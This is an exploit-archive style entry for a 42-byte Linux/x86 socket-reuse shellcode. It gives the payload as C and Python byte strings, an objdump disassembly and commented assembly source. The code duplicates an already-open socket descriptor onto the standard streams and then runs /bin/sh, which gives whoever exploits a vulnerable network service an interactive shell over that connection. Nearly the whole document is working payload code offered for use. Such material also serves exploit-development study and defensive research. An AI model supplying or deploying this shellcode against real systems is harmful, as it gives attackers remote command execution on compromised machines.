# Exploit Name: Linux/x86 - execve(/bin/sh) socket reuse Shellcode (42 bytes) # Author : WangYihang # Date: 2019-10-22 # Tested on: Linux_x86 # Shellcode Length: 42 # CVE: N/A ;================================================================================ # Shellcode : char shellcode[] = "\x31\xdb\xb3\x03\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f\xcd\x80\x80\xf9\xff\x75\xf3\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" ;================================================================================ # Python : shellcode = "\x31\xdb\xb3\x03\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f\xcd\x80\x80\xf9\xff\x75\xf3\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" ;================================================================================ ; Build : ; $ nasm -f elf32 shellcode.asm -o shellcode ; $ objdump -d shellcode ; shellcode: file format elf32-i386 ; Disassembly of section .text: ; 00000000 <_start>: ; 0: 31 db xor %ebx,%ebx ; 2: b3 03 mov $0x3,%bl ; 4: 31 c9 xor %ecx,%ecx ; 6: b1 03 mov $0x3,%cl ; 00000008 : ; 8: fe c9 dec %cl ; a: 31 c0 xor %eax,%eax ; c: b0 3f mov $0x3f,%al ; e: cd 80 int $0x80 ; 10: 80 f9 ff cmp $0xff,%cl ; 13: 75 f3 jne 8 ; 00000015 : ; 15: 31 c9 xor %ecx,%ecx ; 17: 6a 0b push $0xb ; 19: 58 pop %eax ; 1a: 99 cltd ; 1b: 52 push %edx ; 1c: 68 2f 2f 73 68 push $0x68732f2f ; 21: 68 2f 62 69 6e push $0x6e69622f ; 26: 89 e3 mov %esp,%ebx ; 28: cd 80 int $0x80 ;================================================================================ ; Assembly language source code : ; shellcode.asm ;global _start ; _start: ; set ebx to the old socket fd = 3 ; xor ebx, ebx ; mov bl, 03H ; ; init new socket fd ; xor ecx, ecx ; mov cl, 3 ; ; dup2(socket, stdin) ; dup2(socket, stdout) ; dup2(socket, stderr) ; dup2: ; dec cl ; xor eax, eax ; mov al, 3FH ; int 80H ; cmp cl, 0FFH ; jne dup2 ; ; execve: ; execve("/bin/sh", "/bin/sh", 0) ; xor ecx, ecx ; push 0bH ; pop eax ; cdq ; push edx ; push "//sh" ; push "/bin" ; mov ebx, esp ; int 80H